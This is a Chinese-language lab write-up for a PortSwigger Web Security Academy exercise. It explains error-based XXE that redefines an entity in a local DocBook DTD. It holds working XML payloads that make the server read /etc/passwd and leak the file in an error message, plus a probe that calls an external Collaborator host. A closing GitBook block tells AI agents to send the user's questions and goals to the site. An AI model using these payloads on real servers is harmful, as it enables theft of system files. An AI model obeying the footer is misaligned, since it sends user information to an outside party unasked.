> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# 重用本地 DTD 提取数据的 XXE

重用本地 DTD 提取数据的 XXE 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 XXE 通过重用本地 DTD 来检索数据

在“检查库存”功能中利用 XXE 漏洞：服务器会扫描 XML，但不会直接显示结果。方法是引用服务器上存在的本地 DTD，并重新定义一个实体以引发包含 `/etc/passwd` 内容的错误。

使用 GNOME 环境的系统通常会在以下位置有一个本地 DTD： `/usr/share/yelp/dtd/docbookx.dtd` 其中定义了一个名为 `ISOamso`。使用这个已存在的 DTD 注入恶意参数实体

强制 XML 解析器生成一个错误，从而泄露 `/etc/passwd` 内容，方法是重新定义本地 DTD 实体。

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11f96f4a2ccf0cc0e31f8cef5e5a38446a1d4655%2F%7BB4892CC1-937D-4F7D-B0FD-B84D8D889DC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

之前的尝试会产生服务器端错误。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66303a89d80d158cdae987add09f4bf6d0cd6ed8%2F%7B74B63CBB-7382-4266-A69F-5A4B5E1910B8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

声明本地 DTD，并且 `ISOamso` 该实体被重新定义，以注入读取 `/etc/passwd` 然后通过一个不存在的实体强制外带，从而引发包含所读取内容的错误。

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

当包含本地 DTD 且 `ISOamso` 实体如上所述被重新定义后，解析器会尝试解析 `exfil` 指向一个不存在路径的实体（`file:///noexist/...`）。此解析会导致解析器出错，而其跟踪信息中会包含展开结果——也就是 `/etc/passwd` 会出现在服务器返回的错误消息中。

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ef528538fc278eca5395544cf88bd0519311d0d%2F%7BFB3581D3-9B1D-4BE2-8EBD-C66EFE1791B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
